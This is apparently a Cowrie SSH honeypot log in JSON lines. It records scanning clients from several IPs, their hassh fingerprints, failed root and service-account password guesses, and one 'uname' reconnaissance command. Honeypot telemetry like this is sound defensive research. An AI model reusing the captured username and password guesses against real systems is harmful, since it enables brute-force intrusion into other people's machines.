{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51396,"dst_ip":"159.203.135.109","dst_port":22,"session":"40bb47b0be38","protocol":"ssh","message":"New connection: 193.37.70.224:51396 (159.203.135.109:22) [session: 40bb47b0be38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:47.841080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:47.850930Z","src_ip":"193.37.70.224","session":"40bb47b0be38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d430a0ce5cf0","protocol":"ssh","message":"New connection: 91.92.40.36:20312 (10.17.0.5:22) [session: d430a0ce5cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:47.904117Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:47.945365Z","src_ip":"193.37.70.224","session":"40bb47b0be38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfhfynby","message":"login attempt [root/rfhfynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:48.243752Z","src_ip":"193.37.70.224","session":"40bb47b0be38","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:48.747065Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:48.750609Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:48.827255Z","src_ip":"91.92.40.36","session":"d430a0ce5cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:48.847625Z","src_ip":"91.92.40.36","session":"d430a0ce5cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:49.343350Z","src_ip":"193.37.70.224","session":"40bb47b0be38","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:49.631767Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:49.635859Z","src_ip":"91.92.40.36","session":"14330876ad5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:52.510107Z","src_ip":"91.92.40.36","session":"d430a0ce5cf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:54.266481Z","src_ip":"91.92.40.36","session":"d430a0ce5cf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59446,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c00e8dfcba","protocol":"ssh","message":"New connection: 14.63.196.175:59446 (159.203.135.109:22) [session: 21c00e8dfcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:56.627616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:56.633540Z","src_ip":"14.63.196.175","session":"21c00e8dfcba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:56.838617Z","src_ip":"14.63.196.175","session":"21c00e8dfcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28666,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d86450f17e","protocol":"ssh","message":"New connection: 91.92.40.36:28666 (10.17.0.5:22) [session: 94d86450f17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:57.244026Z"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"test_user","message":"login attempt [test_user/test_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:57.678650Z","src_ip":"14.63.196.175","session":"21c00e8dfcba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:57.879177Z","src_ip":"91.92.40.36","session":"94d86450f17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:58.622476Z","src_ip":"91.92.40.36","session":"94d86450f17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:58.882715Z","src_ip":"14.63.196.175","session":"21c00e8dfcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":45554,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e12389e0ec","protocol":"ssh","message":"New connection: 45.78.204.254:45554 (10.17.0.5:22) [session: 51e12389e0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:59.426039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:59.430866Z","src_ip":"45.78.204.254","session":"51e12389e0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:54:59.670847Z","src_ip":"45.78.204.254","session":"51e12389e0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.93805170059204,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:00.802161Z","src_ip":"128.199.8.54","session":"c69fcc01d3de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dcm4chee","password":"123","message":"login attempt [dcm4chee/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:03.287566Z","src_ip":"45.78.204.254","session":"51e12389e0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28676,"dst_ip":"10.17.0.5","dst_port":22,"session":"566bdaf4f202","protocol":"ssh","message":"New connection: 91.92.40.36:28676 (10.17.0.5:22) [session: 566bdaf4f202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:04.081611Z"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"botuser","message":"login attempt [botuser/botuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:04.087114Z","src_ip":"91.92.40.36","session":"94d86450f17e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:04.516906Z","src_ip":"91.92.40.36","session":"566bdaf4f202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:04.520256Z","src_ip":"91.92.40.36","session":"566bdaf4f202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:06.070362Z","src_ip":"45.78.204.254","session":"51e12389e0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:06.409244Z","src_ip":"91.92.40.36","session":"94d86450f17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:07.529313Z","src_ip":"91.92.40.36","session":"566bdaf4f202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:09.139026Z","src_ip":"91.92.40.36","session":"566bdaf4f202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":36636,"dst_ip":"159.203.135.109","dst_port":22,"session":"040d13ac2f93","protocol":"ssh","message":"New connection: 201.17.146.173:36636 (159.203.135.109:22) [session: 040d13ac2f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:10.841293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:10.846114Z","src_ip":"201.17.146.173","session":"040d13ac2f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:10.990680Z","src_ip":"201.17.146.173","session":"040d13ac2f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm(IJN8uhb","message":"login attempt [root/0okm(IJN8uhb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:11.563853Z","src_ip":"201.17.146.173","session":"040d13ac2f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19788,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae687e8601b9","protocol":"ssh","message":"New connection: 91.92.40.36:19788 (10.17.0.5:22) [session: ae687e8601b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:12.328532Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:12.698747Z","src_ip":"201.17.146.173","session":"040d13ac2f93","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:13.714367Z","src_ip":"91.92.40.36","session":"ae687e8601b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:13.718163Z","src_ip":"91.92.40.36","session":"ae687e8601b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":40632,"dst_ip":"159.203.135.109","dst_port":22,"session":"37917464b149","protocol":"ssh","message":"New connection: 102.213.34.99:40632 (159.203.135.109:22) [session: 37917464b149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:16.591599Z"}
